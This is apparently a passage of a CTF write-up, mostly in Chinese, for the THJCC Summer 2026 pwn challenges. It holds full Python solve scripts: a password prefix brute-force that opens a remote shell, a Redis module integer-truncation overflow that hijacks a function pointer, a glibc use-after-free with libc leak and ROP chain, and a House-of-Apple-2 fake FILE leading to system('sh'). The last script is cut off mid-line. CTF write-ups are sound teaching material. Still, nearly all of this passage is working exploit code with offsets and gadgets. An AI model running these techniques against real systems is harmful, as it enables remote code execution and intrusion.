PORT_DEFAULT = 11039 # all printable ASCII 0x21..0x7e; the real alphabet (94 chars) is a subset CHARS = [chr(c) for c in range(0x21, 0x7F)] def recv_until(sock: socket.socket, marker: bytes, timeout: float = 5.0) -\u0026gt; bytes: sock.settimeout(timeout) data = b\u0026#34;\u0026#34; try: while marker not in data: chunk = sock.recv(4096) if not chunk: break data += chunk except socket.timeout: pass return data def main() -\u0026gt; int: ap = argparse.ArgumentParser(description=\u0026#34;Very Security Shell exploit\u0026#34;) ap.add_argument(\u0026#34;--host\u0026#34;, default=HOST_DEFAULT) ap.add_argument(\u0026#34;--port\u0026#34;, type=int, default=PORT_DEFAULT) args = ap.parse_args() print(f\u0026#34;[*] connecting to {args.host}:{args.port}\u0026#34;) s = socket.create_connection((args.host, args.port), timeout=10) banner = recv_until(s, b\u0026#34;password:\u0026#34;) print(\u0026#34;[*] banner:\u0026#34;, banner.decode(errors=\u0026#34;replace\u0026#34;).strip().splitlines()[-1]) # --- brute force the FIRST character of the fixed random password --- hit = None for c in CHARS: s.sendall(c.encode() + b\u0026#34;\\n\u0026#34;) data = recv_until(s, b\u0026#34;password:\u0026#34;, timeout=4) if b\u0026#34;welcome!\u0026#34; in data: # \u0026#34;You input the right password, welcome!\u0026#34; hit = c print(f\u0026#34;[+] prefix match on first char {c!r} -\u0026gt; shell!\u0026#34;) break if hit is None: print(\u0026#34;[-] no match found; last server output:\u0026#34;, data[:300]) s.close() return 1 # --- we now have system(\u0026#34;/bin/sh\u0026#34;) on the socket --- s.sendall(b\u0026#34;id; cat flag.txt\\n\u0026#34;) time.sleep(0.6) out = recv_until(s, b\u0026#34;}\u0026#34;, timeout=4) # grab flag line sys.stdout.buffer.write(out) sys.stdout.buffer.flush() # interactive pass-through try: while True: line = sys.stdin.buffer.readline() if not line: break s.sendall(line) time.sleep(0.2) try: while True: chunk = s.recv(4096) if not chunk: return 0 sys.stdout.buffer.write(chunk) sys.stdout.buffer.flush() except socket.timeout: pass except (KeyboardInterrupt, EOFError): pass s.close() return 0 if __name__ == \u0026#34;__main__\u0026#34;: sys.exit(main()) Chronicle（Redis 模块白盒） Flag：THJCC{D0_y0u_KN0W_7h15_15_@_PWN_ch@ll3nge_WH17CH_m4d3_BY_@1???}\n(uint8_t)body_length 截断检查（336→80==80 通过）→ 336B 拷入 note[80] 覆盖 task-\u0026gt;completion（note@72, completion@152）；ticket = completion ^ rotl64(id·0x9E3779B97F4A7C15, 17) 免费泄基址 → 换成唯一能碰 flag 缓冲的函数。\n📜 Chronicle solve.py（203 行，核心 leak_module_base@3037 / build_archive@3068）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;Chronicle (THJCC CTF Summer 2026) — full exploit chain. Root cause (src/chronicle.c, command_import): if ((uint8_t)body_length \u0026gt; NOTE_CAPACITY) ... // truncation check memcpy(task-\u0026gt;note, cursor, (size_t)body_length); // body_length up to 336 body_length=336 -\u0026gt; (uint8_t)336 == 80 \u0026lt;= 80 passes -\u0026gt; 336-byte copy into note[80] overwrites task-\u0026gt;completion (note offset 80 within the struct: note@72, completion@152). Chain: 1. chronicle.new + chronicle.show -\u0026gt; ticket leaks completion fn pointer: ticket = \u0026amp;commit_annotation ^ rotl64(id * 0x9e3779b97f4a7c15, 17) =\u0026gt; module base (page-aligned check picks correct arch offsets). 2. Forge archive with body_length=336; body[80:88] = \u0026amp;materialize_anchor (the only code that copies recovery_value [flag] into task-\u0026gt;result). 3. chronicle.import -\u0026gt; corrupted task; timer fires -\u0026gt; result = flag. 4. chronicle.show -\u0026gt; flag. Usage: solve.py [host] [port] (default 127.0.0.1 6390) \u0026#34;\u0026#34;\u0026#34; import socket import struct import sys import time MASK64 = (1 \u0026lt;\u0026lt; 64) - 1 K = 0x9E3779B97F4A7C15 # offsets from identical builds (redis:7.2.15-bookworm, gcc -O2 -fPIC): ARCHES = { \u0026#34;aarch64\u0026#34;: {\u0026#34;commit_annotation\u0026#34;: 0x840, \u0026#34;materialize_anchor\u0026#34;: 0x8A4}, \u0026#34;x86_64\u0026#34;: {\u0026#34;commit_annotation\u0026#34;: 0x11B0, \u0026#34;materialize_anchor\u0026#34;: 0x1280}, } NOTE_CAPACITY = 80 # sizeof task-\u0026gt;note OVERFLOW_LEN = 336 # (uint8_t)336 == 80 -\u0026gt; passes \u0026lt;=80 check def rotl64(value, amount): return ((value \u0026lt;\u0026lt; amount) | (value \u0026gt;\u0026gt; (64 - amount))) \u0026amp; MASK64 def fnv1a32(data): value = 2166136261 for byte in data: value = ((value ^ byte) * 16777619) \u0026amp; 0xFFFFFFFF return value def uvarint(value): out = bytearray() while True: byte = value \u0026amp; 0x7F value \u0026gt;\u0026gt;= 7 if value: byte |= 0x80 out.append(byte) if not value: return bytes(out) class RedisResp: def __init__(self, host, port, timeout=15): self.sock = socket.create_connection((host, port), timeout=timeout) self.sock.settimeout(timeout) self.fp = self.sock.makefile(\u0026#34;rb\u0026#34;) def close(self): try: self.sock.close() except OSError: pass def read_reply(self): line = self.fp.readline() if not line: raise ConnectionError(\u0026#34;connection closed\u0026#34;) line = line.rstrip(b\u0026#34;\\r\\n\u0026#34;) tag, body = line[:1], line[1:] if tag == b\u0026#34;+\u0026#34;: return body.decode(errors=\u0026#34;replace\u0026#34;) if tag == b\u0026#34;-\u0026#34;: return Exception(body.decode(errors=\u0026#34;replace\u0026#34;)) if tag == b\u0026#34;:\u0026#34;: return int(body) if tag == b\u0026#34;$\u0026#34;: n = int(body) if n == -1: return None data = self.fp.read(n) self.fp.read(2) return data if tag == b\u0026#34;*\u0026#34;: n = int(body) if n == -1: return None return [self.read_reply() for _ in range(n)] if tag in (b\u0026#34;%\u0026#34;, b\u0026#34;\u0026gt;\u0026#34;, b\u0026#34;~\u0026#34;): n = int(body) step = 2 if tag == b\u0026#34;%\u0026#34; else 1 return [self.read_reply() for _ in range(n * step)] raise ValueError(f\u0026#34;unexpected reply line: {line!r}\u0026#34;) def cmd(self, *args): out = bytearray(f\u0026#34;*{len(args)}\\r\\n\u0026#34;.encode()) for arg in args: if isinstance(arg, str): arg = arg.encode() elif isinstance(arg, int): arg = str(arg).encode() out += f\u0026#34;${len(arg)}\\r\\n\u0026#34;.encode() + arg + b\u0026#34;\\r\\n\u0026#34; self.sock.sendall(bytes(out)) return self.read_reply() def leak_module_base(r): \u0026#34;\u0026#34;\u0026#34;Create two legit tasks; use ticket = completion ^ rotl(id*K,17).\u0026#34;\u0026#34;\u0026#34; infos = [] for _ in range(2): task_id = r.cmd(\u0026#34;chronicle.new\u0026#34;, 60000, \u0026#34;leak\u0026#34;, \u0026#34;x\u0026#34;) if isinstance(task_id, Exception) or not isinstance(task_id, int): raise RuntimeError(f\u0026#34;chronicle.new failed: {task_id!r}\u0026#34;) info = r.cmd(\u0026#34;chronicle.show\u0026#34;, task_id) if isinstance(info, Exception) or not isinstance(info, list): raise RuntimeError(f\u0026#34;chronicle.show failed: {info!r}\u0026#34;) infos.append((info[0], info[3] \u0026amp; MASK64)) bases = {} for arch, offs in ARCHES.items(): candidates = set() for task_id, ticket in infos: salt = rotl64((task_id * K) \u0026amp; MASK64, 17) commit = (ticket ^ salt) \u0026amp; MASK64 candidates.add(commit - offs[\u0026#34;commit_annotation\u0026#34;]) if len(candidates) == 1: base = candidates.pop() if base \u0026amp; 0xFFF == 0: bases[arch] = base if not bases: raise RuntimeError(\u0026#34;no page-aligned module base: arch offsets mismatch\u0026#34;) if len(bases) \u0026gt; 1: raise RuntimeError(f\u0026#34;ambiguous arch match: {bases}\u0026#34;) arch, base = next(iter(bases.items())) return arch, base def build_archive(delay_ms, anchor_addr): body = ( b\u0026#34;A\u0026#34; * NOTE_CAPACITY # note[0:80] + struct.pack(\u0026#34;\u0026lt;Q\u0026#34;, anchor_addr) # overwrite completion ptr + b\u0026#34;B\u0026#34; * (OVERFLOW_LEN - NOTE_CAPACITY - 8) ) assert len(body) == OVERFLOW_LEN archive = ( b\u0026#34;CHRN\u0026#34; + bytes([1, 1, 0, 0]) # version, kind=NOTE, reserved + struct.pack(\u0026#34;\u0026lt;I\u0026#34;, delay_ms) + bytes([0]) # label_length + uvarint(OVERFLOW_LEN) # 0xD0 0x02 + body ) archive += struct.pack(\u0026#34;\u0026lt;I\u0026#34;, fnv1a32(archive)) return archive def main(): host = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;127.0.0.1\u0026#34; port = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 6390 r = RedisResp(host, port) try: pong = r.cmd(\u0026#34;PING\u0026#34;) print(f\u0026#34;[*] PING -\u0026gt; {pong}\u0026#34;) arch, base = leak_module_base(r) offs = ARCHES[arch] anchor = base + offs[\u0026#34;materialize_anchor\u0026#34;] print(f\u0026#34;[+] arch={arch} module_base=0x{base:x}\u0026#34;) print(f\u0026#34;[+] materialize_anchor=0x{anchor:x} \u0026#34; f\u0026#34;(commit_annotation=0x{base + offs[\u0026#39;commit_annotation\u0026#39;]:x})\u0026#34;) archive = build_archive(300, anchor) task_id = r.cmd(\u0026#34;chronicle.import\u0026#34;, archive) if isinstance(task_id, Exception) or not isinstance(task_id, int): raise RuntimeError(f\u0026#34;chronicle.import failed: {task_id!r}\u0026#34;) print(f\u0026#34;[+] imported corrupted task id={task_id}, waiting for timer...\u0026#34;) flag = None for _ in range(60): time.sleep(0.1) info = r.cmd(\u0026#34;chronicle.show\u0026#34;, task_id) if isinstance(info, list) and info[1] == \u0026#34;complete\u0026#34;: flag = info[5] break if flag is None: raise RuntimeError(f\u0026#34;task never completed; last show: {info!r}\u0026#34;) print(f\u0026#34;[+] FLAG: {flag.decode(errors=\u0026#39;replace\u0026#39;)}\u0026#34;) finally: r.close() if __name__ == \u0026#34;__main__\u0026#34;: main() déjà vu Flag：THJCC{s0_wh1ch_AI_d1d_y0u_us3_t0_s0lv3_th1s???}\nsubscribe 引用计数单字节 +256 回绕到 1 → 256 频道仍持指针时 free = mass UAF； tcache 抽干、悬挂 replay 泄 libc、environ 定位栈写 ORW ROP。\n发现过程：反汇编定位引用计数是单字节 addb $1, 0x30(%rdx)——256 次 subscribe 后 1+256 ≡ 1 (mod 256) 回绕；discard 只清计数不清 channels[] 指针 → 256 个悬挂指针的 mass UAF。远程与本地关键差异：libseccomp 初始化在堆上留 0x40 回收块、破坏 msg/body 相邻性——用 4 次 warmup compose 抽干 tcache[0x40] + 0x800 guard 防 top 合并修复。\n📜 déjà vu solve.py（216 行，核心 set_fake@3233 / warmup@3255）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 #!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34;deja vu - full solve driver (pure stdlib). Usage: solve.py HOST PORT [--scan] [--ret-off N] Local: python3 solve.py 127.0.0.1 9004 Remote: python3 solve.py chal.thjcc.org 9004 \u0026#34;\u0026#34;\u0026#34; import socket, struct, sys, time p64 = lambda x: struct.pack(\u0026#39;\u0026lt;Q\u0026#39;, x) u64 = lambda b: struct.unpack(\u0026#39;\u0026lt;Q\u0026#39;, b)[0] # ---- libc offsets (Ubuntu glibc 2.35-0ubuntu3.14 from handout) ---- OFF_ARENA96 = 0x21ace0 # unsorted-bin fd == main_arena+96 OFF_ENVIRON = 0x222200 OFF_RET = 0x29d90 # main()\u0026#39;s return-address site offset (calibrated below) G_RDI = 0x2a3e5 # pop rdi ; ret G_RSI = 0x2be51 # pop rsi ; ret G_RDX = 0x90469 # pop rdx ; pop rbx ; ret F_OPEN = 0x114520 F_READ = 0x114810 F_WRITE= 0x1148b0 F_CLOSE = 0x114f90 F_EXIT = 0x455f0 class Tube: def __init__(self, host, port): self.s = socket.create_connection((host, int(port)), 10) self.buf = b\u0026#39;\u0026#39; def until(self, mark, timeout=20): self.s.settimeout(timeout) end = time.time() + timeout while mark not in self.buf: if time.time() \u0026gt; end: raise TimeoutError(\u0026#39;waiting %r, tail %r\u0026#39; % (mark, self.buf[-80:])) d = self.s.recv(65536) if not d: raise EOFError(\u0026#39;eof, tail %r\u0026#39; % self.buf[-80:]) self.buf += d i = self.buf.index(mark) + len(mark) out, self.buf = self.buf[:i], self.buf[i:] return out def exact(self, n, timeout=20): self.s.settimeout(timeout) end = time.time() + timeout while len(self.buf) \u0026lt; n: if time.time() \u0026gt; end: raise TimeoutError(\u0026#39;want %d, have %d\u0026#39; % (n, len(self.buf))) d = self.s.recv(65536) if not d: raise EOFError(\u0026#39;eof\u0026#39;) self.buf += d out, self.buf = self.buf[:n], self.buf[n:] return out def send(self, d): self.s.sendall(d) io = None def menu(choice): io.until(b\u0026#39;\u0026gt; \u0026#39;) io.send(b\u0026#39;%d\\n\u0026#39; % choice) def compose(slot, length, body): assert len(body) == length menu(1) io.until(b\u0026#39;slot\u0026gt; \u0026#39;); io.send(b\u0026#39;%d\\n\u0026#39; % slot) io.until(b\u0026#39;length\u0026gt; \u0026#39;); io.send(b\u0026#39;%d\\n\u0026#39; % length) io.until(b\u0026#39;subject\u0026gt; \u0026#39;); io.send(b\u0026#39;s\\n\u0026#39;) io.until(b\u0026#39;body\u0026gt; \u0026#39;); io.send(body) io.until(b\u0026#39;composed.\u0026#39;) def discard(slot): menu(2) io.until(b\u0026#39;slot\u0026gt; \u0026#39;); io.send(b\u0026#39;%d\\n\u0026#39; % slot) io.until(b\u0026#39;discarded.\u0026#39;) def replay_dump(ch, length): menu(5) io.until(b\u0026#39;channel\u0026gt; \u0026#39;); io.send(b\u0026#39;%d\\n\u0026#39; % ch) data = io.exact(length) # write(1, fake-\u0026gt;body, fake-\u0026gt;len) io.exact(1) # puts(\u0026#34;\u0026#34;) newline return data def amend(ch, body): menu(6) io.until(b\u0026#39;channel\u0026gt; \u0026#39;); io.send(b\u0026#39;%d\\n\u0026#39; % ch) io.until(b\u0026#39;body\u0026gt; \u0026#39;) io.send(body) io.until(b\u0026#39;amended.\u0026#39;) def fake(body_ptr, length, refcnt=0x7f): f = b\u0026#39;F\u0026#39; * 0x20 + p64(body_ptr) + p64(length) + bytes([refcnt]) + b\u0026#39;\\x00\u0026#39; * 7 assert len(f) == 0x38 return f def set_fake(body_ptr, length): \u0026#34;\u0026#34;\u0026#34;rewrite the fake struct that all 256 dangling channels alias. tcache(0x40) rotation: discard(1) -\u0026gt; [msg1,F]; compose(2): body=msg1, msg=F; discard(2) -\u0026gt; [F,msg1c]; compose(1): body=F (controlled again). invariant at rest: F is the body of slot 1. \u0026#34;\u0026#34;\u0026#34; discard(2) compose(3, 0x38, fake(0, 8)) # placeholder (F becomes msg struct here) discard(3) compose(2, 0x38, fake(body_ptr, length)) def main(): global io, OFF_RET host, port = sys.argv[1], sys.argv[2] args = sys.argv[3:] scan = \u0026#39;--scan\u0026#39; in args for a in args: if a.startswith(\u0026#39;--ret-off=\u0026#39;): OFF_RET = int(a.split(\u0026#39;=\u0026#39;)[1], 0) io = Tube(host, port) # 0) warmup: drain pre-existing tcache[0x40] entries (seccomp_init churn) # so body0 (0x810) and msg0 (0x40) allocate adjacently from top -\u0026gt; # free(body0) lands in unsorted bin with fd/bk = main_arena+96. # each compose(len=0x38) consumes two 0x40 chunks (body + msg); keep them. for warm in (4, 5, 6, 7): compose(warm, 0x38, b\u0026#39;W\u0026#39; * 0x38) # 1) big body -\u0026gt; unsorted bin on free; 2) refcount wrap; 3) mass-UAF free compose(0, 0x800, b\u0026#39;A\u0026#39; * 0x800) # guard chunk right after body0 (also a top allocation) so that # free(body0) cannot merge forward into top -\u0026gt; unsorted metadata gets written compose(1, 0x800, b\u0026#39;G\u0026#39; * 0x800) io.send(b\u0026#39;\u0026#39;.join(b\u0026#39;3\\n0\\n%d\\n\u0026#39; % ch for ch in range(256))) for _ in range(256): io.until(b\u0026#39;subscribed.\u0026#39;) discard(0) # 4) dangling channel replay -\u0026gt; unsorted-bin libc leak dump = replay_dump(0, 0x800) libc = u64(dump[:8]) - OFF_ARENA96 print(\u0026#39;[+] libc base = %#x\u0026#39; % libc) assert libc \u0026amp; 0xfff == 0, \u0026#39;bad libc base\u0026#39; # 5) reclaim freed msg chunk as controlled body -\u0026gt; fake message struct compose(2, 0x38, fake(libc + OFF_ENVIRON, 0x10)) envptr = u64(replay_dump(2, 0x10)[:8]) print(\u0026#39;[+] envp array @ %#x\u0026#39; % envptr) if scan: set_fake(envptr - 0x4000, 0x4000) stack = replay_dump(2, 0x4000) open(\u0026#39;/tmp/stackdump.bin\u0026#39;, \u0026#39;wb\u0026#39;).write(stack) print(\u0026#39;[+] stack %#x..%#x -\u0026gt; /tmp/stackdump.bin\u0026#39; % (envptr - 0x4000, envptr)) seen = {} for off in range(0, len(stack) - 7, 8): v = u64(stack[off:off + 8]) if libc \u0026lt; v \u0026lt; libc + 0x230000: seen.setdefault(v - libc, []).append(envptr - 0x4000 + off) for k in sorted(seen): print(\u0026#39; libc+%#x at %s\u0026#39; % (k, [hex(x) for x in seen[k]])) return assert OFF_RET, \u0026#39;calibrate OFF_RET first via --scan\u0026#39; # 6) locate main\u0026#39;s return-address slot by value SCAN = 0x2000 set_fake(envptr - SCAN, SCAN) stack = replay_dump(2, SCAN) want = libc + OFF_RET hits = [envptr - SCAN + o for o in range(0, len(stack) - 7, 8) if u64(stack[o:o + 8]) == want] assert len(hits) == 1, \u0026#39;retaddr hits: %r\u0026#39; % [hex(h) for h in hits] ret_slot = hits[0] print(\u0026#39;[+] main retaddr slot = %#x\u0026#39; % ret_slot) # 7) arbitrary write: ROP chain (open/read/write flag) over the return slot # - close(3) first so open() deterministically returns fd 3 # - try several candidate flag paths; echo each path before dumping str_base = ret_slot + 0x800 buf_addr = ret_slot + 0x900 paths = [b\u0026#39;flag.txt\\x00\u0026#39;, b\u0026#39;/flag.txt\\x00\u0026#39;, b\u0026#39;/flag\\x00\u0026#39;, b\u0026#39;./flag.txt\\x00\u0026#39;, b\u0026#39;/app/flag.txt\\x00\u0026#39;, b\u0026#39;/home/ctf/flag.txt\\x00\u0026#39;] def pops_rdi(v): return p64(libc + G_RDI) + p64(v) def pops_rsi(v): return p64(libc + G_RSI) + p64(v) def pops_rdx(v): return p64(libc + G_RDX) + p64(v) + p64(0) rop = b\u0026#39;\u0026#39; for i, path in enumerate(paths): pa = str_base + 0x10 * i rop += pops_rdi(1) + pops_rsi(pa) + pops_rdx(0x10) + p64(libc + F_WRITE) rop += pops_rdi(3) + p64(libc + F_CLOSE) rop += pops_rdi(pa) + pops_rsi(0) + pops_rdx(0) + p64(libc + F_OPEN) rop += pops_rdi(3) + pops_rsi(buf_addr) + pops_rdx(0x80) + p64(libc + F_READ) rop += pops_rdi(1) + pops_rsi(buf_addr) + pops_rdx(0x80) + p64(libc + F_WRITE) rop += p64(libc + F_EXIT) assert len(rop) \u0026lt; 0x800 payload = rop + b\u0026#39;\\x00\u0026#39; * (0x800 - len(rop)) for i, path in enumerate(paths): chunk = path.ljust(0x10, b\u0026#39; \u0026#39;) payload += chunk payload += b\u0026#39;\\x00\u0026#39; * (0x900 - len(payload)) set_fake(ret_slot, len(payload)) amend(2, payload) print(\u0026#39;[+] ROP chain written; triggering main return\u0026#39;) menu(0) io.s.settimeout(8) out = b\u0026#39;\u0026#39; try: while True: d = io.s.recv(65536) if not d: break out += d except Exception: pass print(\u0026#39;[+] final output: %r\u0026#39; % out) if __name__ == \u0026#39;__main__\u0026#39;: main() necropet Flag：THJCC{Tell_me,_Linguini,_about_your_interests...D0_u_1ik3_anima1s?The_u5ua1,_d0gs,_cats,_h0r535,_guinea_pigs...RATS~~}\nglibc 2.39 UAF（h_release 清 ptr/size 不清 case_id/desk）+ House-of-Apple-2 fake FILE + tcache poisoning 写 _IO_list_all，cook(exit) 触发 RCE。\n发现过程：h_release 只清 kennels[slot].ptr/size，不清 case_id 也不清全局 desk，而 show/revise/visit 只校验 case_id 相等 → 悬垂 desk 对已释放 chunk 的完整 UAF 读写；glibc 2.39 无 free_hook → 选 House-of-Apple-2（_IO_flush_all_lockp → _IO_wfile_overflow → _wide_vtable-\u0026gt;__doallocate）。两个实测坑：fake FILE 的 _lock(+0x88) 必须指向全零内存，否则 NULL 解引用静默崩；note 首版写 8 字节落偏 8 字节，_IO_list_all 没被盖上、flush 静默走真链。\n📜 necropet solve.py（176 行，关键阶段：fake FILE 直写@3478、tcache poison→_IO_list_all@3505）——点击展开 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 #!/usr/bin/env python3 # THJCC Summer 2026 - necropet (Pwn) # Vuln: h_release clears kennels[slot].ptr/size but NOT kennels[slot].case_id nor # the global `desk` (selected record). show/revise/visit re-validate only # kennels[desk.slot].case_id == desk.case_id -\u0026gt; full UAF read+write on the # freed chunk while it sits in tcache/unsorted. # Chain: unsorted leak (libc) -\u0026gt; UAF tcache poisoning -\u0026gt; write _IO_list_all -\u0026gt; # House-of-Apple-2 fake FILE on heap -\u0026gt; cook (exit) -\u0026gt; _IO_cleanup flush # -\u0026gt; system(\u0026#34; sh\u0026#34;) -\u0026gt; cat flag. import socket, struct, sys, time HOST = sys.argv[1] if len(sys.argv) \u0026gt; 1 else \u0026#34;chal.thjcc.org\u0026#34; PORT = int(sys.argv[2]) if len(sys.argv) \u0026gt; 2 else 1024 p64 = lambda x: struct.pack(\u0026#34;\u0026lt;Q\u0026#34;, x) u64 = lambda b: struct.unpack(\u0026#34;\u0026lt;Q\u0026#34;, b)[0] # --- libc 2.39-0ubuntu8.8 offsets (from provided libc.so.6) --- OFF_SYSTEM = 0x58750 OFF_IO_WFILE = 0x202228 # _IO_wfile_jumps OFF_IO_LIST_ALL = 0x2044c0 # _IO_list_all OFF_UNSORTED = 0x203b20 # main_arena(0x203ac0) + 0x60 # poison target: must be 16-aligned, note lands on \u0026amp;_IO_list_all # T + 0x28 == \u0026amp;_IO_list_all -\u0026gt; T = 0x2044c0 - 0x28 - 8 = 0x204490 (aligned) OFF_TARGET = 0x204490 class Tube: def __init__(self, host, port): self.s = socket.create_connection((host, port), timeout=10) self.buf = b\u0026#34;\u0026#34; def recv_until(self, tok, timeout=10): self.s.settimeout(timeout) end = time.time() + timeout while tok not in self.buf: if time.time() \u0026gt; end: raise TimeoutError(f\u0026#34;waiting {tok!r}, buf={self.buf[-200:]!r}\u0026#34;) d = self.s.recv(65536) if not d: raise EOFError(f\u0026#34;eof waiting {tok!r}, buf={self.buf!r}\u0026#34;) self.buf += d i = self.buf.index(tok) + len(tok) out, self.buf = self.buf[:i], self.buf[i:] return out def send(self, d): self.s.sendall(d) def sendline(self, line): self.send(line + b\u0026#34;\\n\u0026#34;) t = Tube(HOST, PORT) print(t.recv_until(b\u0026#34;type help for commands\u0026#34;).decode(errors=\u0026#34;replace\u0026#34;)) def admit(slot, kind, cap, ln, note=b\u0026#34;\u0026#34;): t.sendline(f\u0026#34;admit {slot} {kind} {cap} {ln}\u0026#34;.encode()) if ln: t.send(note) t.recv_until(b\u0026#34;admitted\u0026#34;) def select(slot): t.sendline(f\u0026#34;select {slot}\u0026#34;.encode()) t.recv_until(b\u0026#34;selected\u0026#34;) def release(slot): t.sendline(f\u0026#34;release {slot}\u0026#34;.encode()) t.recv_until(b\u0026#34;released\u0026#34;) def show(): t.sendline(b\u0026#34;show\u0026#34;) t.recv_until(b\u0026#34;record: \u0026#34;) hx = t.recv_until(b\u0026#34;\\n\u0026#34;).strip() return bytes.fromhex(hx.decode()) def revise(ln, data): t.sendline(f\u0026#34;revise {ln}\u0026#34;.encode()) t.send(data) t.recv_until(b\u0026#34;revised\u0026#34;) # ---- stage 0: heap grooming -------------------------------------------- # chunks: tcache(0x290)@H, A(0x50)@H+0x290, B(0x520)@H+0x2e0, # C(0x50 guard)@H+0x800, A2(0x50)@H+0x850 # user addrs: A=H+0x2a0, B=H+0x2f0, C=H+0x810, A2=H+0x860 admit(0, 0, 0x20, 0) # A tcache-poison base #1 admit(1, 0, 0x4f0, 0) # B unsorted leaker (0x520 \u0026gt; tcache max) admit(2, 0, 0x20, 0) # C guard so B does not merge into top admit(3, 0, 0x20, 0) # A2 tcache-poison head # ---- stage 1: heap leak via first-freed tcache next (= ptr\u0026gt;\u0026gt;12) -------- select(0) release(0) dump = show() hint = u64(dump[0:8]) key = u64(dump[8:16]) assert hint \u0026gt; 0x10000 and key != 0, f\u0026#34;bad tcache dump {dump[:0x20].hex()}\u0026#34; heap = hint \u0026lt;\u0026lt; 12 # first-freed tcache next = (A\u0026gt;\u0026gt;12) ^ NULL; A sits in first page print(f\u0026#34;[+] heap = {heap:#x}\u0026#34;) A = heap + 0x2a0 A2 = heap + 0x860 D = heap + 0x2f0 # B\u0026#39;s user addr; stays freed in unsorted # ---- stage 2: libc leak via unsorted bin fd ---------------------------- select(1) release(1) # desk dangles at B (kennels[1].case_id kept) dump = show() fd, bk = u64(dump[0:8]), u64(dump[8:16]) assert fd == bk and fd \u0026amp; 0xfff == 0xb20, f\u0026#34;bad unsorted dump {dump[:0x20].hex()}\u0026#34; libc = fd - OFF_UNSORTED assert libc \u0026amp; 0xfff == 0, hex(libc) print(f\u0026#34;[+] libc = {libc:#x}\u0026#34;) # ---- stage 3: fake FILE written straight into freed B via UAF (desk=B) -- # desk still dangles at B; the fake clobbers its fd/bk, which is fine: # every later malloc is a tcache hit and never inspects the unsorted bin. W = D + 0x100 # _IO_wide_data V = D + 0x200 # fake wide vtable fake = bytearray(0x4f0) # command string doubles as _flags; two leading spaces keep bits 0x2/0x8/0x800 # clear so wfile_overflow -\u0026gt; wdoallocbuf -\u0026gt; __doallocate(system) path is taken fake[0x00:0x0f] = b\u0026#34; cat this*;sh\\x00\u0026#34; fake[0x20:0x28] = p64(0) # _IO_write_base fake[0x28:0x30] = p64(1) # _IO_write_ptr \u0026gt; base -\u0026gt; overflow fake[0x68:0x70] = p64(0) # _chain = NULL fake[0xa0:0xa8] = p64(W) # _wide_data fake[0x88:0x90] = p64(D + 0x300) # _lock -\u0026gt; zeroed area inside fake # (flush_all locks fp before overflow) fake[0xc0:0xc4] = struct.pack(\u0026#34;\u0026lt;i\u0026#34;, 0) # _mode \u0026lt;= 0 fake[0xd8:0xe0] = p64(libc + OFF_IO_WFILE) # vtable = _IO_wfile_jumps # _IO_wide_data offsets verified in this exact libc\u0026#39;s disassembly: # _IO_buf_base +0x30, _wide_vtable +0xe0; doallocate slot +0x68 fake[0x100+0x18:0x100+0x20] = p64(0) # wide-\u0026gt;_IO_write_base = 0 fake[0x100+0x30:0x100+0x38] = p64(0) # wide-\u0026gt;_IO_buf_base = 0 fake[0x100+0xe0:0x100+0xe8] = p64(V) # wide-\u0026gt;_wide_vtable fake[0x200+0x68:0x200+0x70] = p64(libc + OFF_SYSTEM) if \u0026#34;--probe2\u0026#34; in sys.argv: # path probe: puts(fp) prints flags instead of shell fake[0x200+0x68:0x200+0x70] = p64(libc + 0x87cc0) revise(0x4f0, bytes(fake)) # ---- stage 5: tcache poison A2.next -\u0026gt; \u0026amp;_IO_list_all region ----------- select(3) release(3) # tcache[0x50]: A2 -\u0026gt; A ; desk dangles at A2 T = libc + OFF_TARGET revise(8, p64(T ^ (A2 \u0026gt;\u0026gt; 12))) # safe-linking: next = T ^ (A2\u0026gt;\u0026gt;12) # ---- stage 6: consume A2 then land malloc on _IO_list_all ------------- admit(6, 0, 0x20, 0) # takes A2 # T = libc+0x204490 (16-aligned); note starts at T+0x28 = \u0026amp;_IO_list_all-8, # so note[8:16] lands exactly on _IO_list_all admit(7, 0, 0x20, 16, p64(0xdeadbeef) + p64(D)) if \u0026#34;--probe\u0026#34; in sys.argv: 